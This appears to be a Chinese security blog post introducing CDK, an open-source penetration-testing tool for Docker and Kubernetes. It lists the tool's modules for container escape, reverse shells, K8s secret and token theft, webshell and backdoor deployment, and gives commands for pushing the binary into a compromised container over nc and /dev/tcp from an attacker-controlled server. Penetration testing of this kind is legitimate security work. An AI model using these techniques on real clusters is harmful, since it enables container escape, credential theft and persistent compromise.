“ HW播报--“叮咚,每日小黑板时间。”
CDK
CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。
CDK功能
CDK包括三个功能模块
Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。
Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。
检测项
类别 | 检测点 | 已支持 |
---|---|---|
本地信息收集 | OS基本信息 | ✔ |
本地信息收集 | 可用的Capabilities | ✔ |
本地信息收集 | 可用的Linux命令 | ✔ |
本地信息收集 | 挂载情况 | ✔ |
本地信息收集 | 网络namespace隔离情况 | ✔ |
本地信息收集 | 环境变量 | ✔ |
本地信息收集 | 敏感服务 | ✔ |
本地信息收集 | 敏感目录及文件 | ✔ |
本地信息收集 | kube-proxy边界绕过(CVE-2020-8558) | ✔ |
网络探测 | K8s Api-server信息 | ✔ |
网络探测 | K8s Service-account信息 | ✔ |
网络探测 | 云厂商Metadata API | ✔ |
Exploit 模块
列举全部exp
cdk run --list
执行指定的exp
类别 | 功能 | 调用名 | 已支持 |
---|---|---|---|
容器逃逸 | docker-runc CVE-2019-5736 | runc-pwn | ✔ |
容器逃逸 | containerd-shim CVE-2020-15257 | shim-pwn | ✔ |
容器逃逸 | docker.sock逃逸PoC(docker-in-docker) | docker-sock-check | ✔ |
容器逃逸 | docker.sock命令执行 | docker-sock-pwn | ✔ |
容器逃逸 | Docker API(2375)命令执行 | docker-api-pwn | ✔ |
容器逃逸 | 挂载逃逸(特权容器) | mount-disk | ✔ |
容器逃逸 | Cgroup逃逸(特权容器) | mount-cgroup | ✔ |
容器逃逸 | Procfs目录挂载逃逸 | mount-procfs | ✔ |
容器逃逸 | Ptrace逃逸PoC | check-ptrace | ✔ |
容器逃逸 | lxcfs cgroup错误配置逃逸 | lxcfs-rw | ✔ |
容器逃逸 | 重写Cgroup以访问设备 | rewrite-cgroup-devices | ✔ |
网络探测 | K8s组件探测 | service-probe | ✔ |
信息收集 | 检查和获取Istio元信息 | istio-check | ✔ |
远程控制 | 反弹shell | reverse-shell | ✔ |
信息窃取 | 暴力破解镜像源账号 | registry-brute | ✔ |
信息窃取 | 扫描AK及API认证凭据 | ak-leakage | ✔ |
信息窃取 | 窃取K8s Secrets | k8s-secret-dump | ✔ |
信息窃取 | 窃取K8s Config | k8s-configmap-dump | ✔ |
信息窃取 | 获取K8s Pod Security Policies | k8s-psp-dump | ✔ |
权限提升 | K8s RBAC绕过 | k8s-get-sa-token | ✔ |
持久化 | 部署WebShell | webshell-deploy | ✔ |
持久化 | 部署后门Pod | k8s-backdoor-daemonset | ✔ |
持久化 | 部署影子K8s api-server | k8s-shadow-apiserver | ✔ |
持久化 | K8s MITM攻击(CVE-2020-8554) | k8s-mitm-clusterip | ✔ |
持久化 | 部署K8s CronJob | k8s-cronjob | ✔ |
Tool 模块
还原部分常用的Linux命令,解决容器环境缩减的问题。参数略有不同,详见下面文档链接:
子命令 | 描述 | 已支持 |
---|---|---|
nc | TCP隧道 | ✔ |
ps | 获取进程信息 | ✔ |
ifconfig | 获取网络信息 | ✔ |
vi | 文本编辑 | ✔ |
kcurl | 发包到K8s api-server | ✔ |
dcurl | 发包到Docker HTTP API | ✔ |
ucurl | 发包到Docker Unix Socket | ✔ |
rcurl | 发包到Docker Registry API | |
probe | IP/端口扫描 | ✔ |
kproxy | kubectl代理转发 |
使用
下载,在控制容器下载工具,
将可执行文件投递到已攻入的容器内部开始使用
https://github.com/cdk-team/CDK/releases/
技巧:在真实渗透中如何通过漏洞exploit向容器中投递CDK
如果你的漏洞利用过程允许上传文件,即可直接植入CDK。
如果你可以在目标容器中执行命令(RCE),但容器中没有wget
或curl
命令,可以参考下面方法植入:
将CDK下载到你的公网服务器,监听端口:
nc -lvp 999 < cdk
在已攻入的目标容器中执行:
cat < /dev/tcp/(你的IP)/(端口) > cdk
chmod a+x cdk
容器信息搜集
OS基本信息
直接获取容器内的用户、内核、OS信息。
运行使用时第一步获取的就是OS的基本信息:
cdk evaluate
可用的Linux命令和Capabilities(探测特权容器)
检测容器内可用的linux命令以及linux capabilities,其中常用的linux命令如apt/yum, curl, wget, nc, python等会方便后续渗透流程,此外capabilities可以用于判断容器是否为特权容器,某些敏感的capabilities如CAP_SYSADMIN
, CAP_NETADMIN
, CAP_PTRACE
等也可用来进行容器逃逸。
cdk evaluate
容器挂载情况
检查挂载到当前容器内的目录和文件,一些挂载到容器内部的敏感目录如/etc,/root等可以提供逃逸机会,如将恶意代码写入/etc/crontab
或/root/.ssh/authorized_keys
。
cdk evaluate
网络namespace隔离情况
判断容器是否与宿主机共享Net Namespace, 如果docker以--net=host
启动且containerd-shim存在虚拟unix socket时,可通过CVE-2020-15257进行逃逸。
cdk evaluate
容器环境变量和敏感进程服务
从ENV
和进程信息
中提取容器内的敏感服务,如python
,ssh
等,便于部署后续逃逸/持久化攻击。
cdk evaluate
敏感目录及文件
进行全盘路径扫描,在路径中匹配敏感词来识别敏感文件,识别到的敏感文件如 docker.sock, .git, .kube 等将对后续渗透带来帮助。
执行指定的exp0
获取K8s API-Server 信息
检查ENV信息判断当前容器是否属于K8s Pod,获取K8s api-server连接地址并尝试匿名登录,如果成功意味着可以直接通过api-server接管K8s集群。
cdk evaluate
K8s Service Account 的认证凭据
K8s集群创建的Pod中,容器内部默认携带K8s Service Account的认证凭据(/run/secrets/kubernetes.io/serviceaccount/token
),CDK将利用该凭据尝试认证K8s api-server服务器并访问高权限接口,如果执行成功意味着该账号拥有高权限,就可以直接利用Service Account管理K8s集群。
云厂商内置metadata api
探测云厂商内置的metadata接口,从该接口可以获取到服务器VM的基础信息如OS版本、CPU及网络、DNS配置等,少数情况下可以发现用户在metadata中自定义的信息。
执行指定的exp2
欢迎师傅们进群来玩~
参考链接:
https://github.com/cdk-team/CDK/wiki/CDK-Home-CN
https://zhuanlan.zhihu.com/p/469973966
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...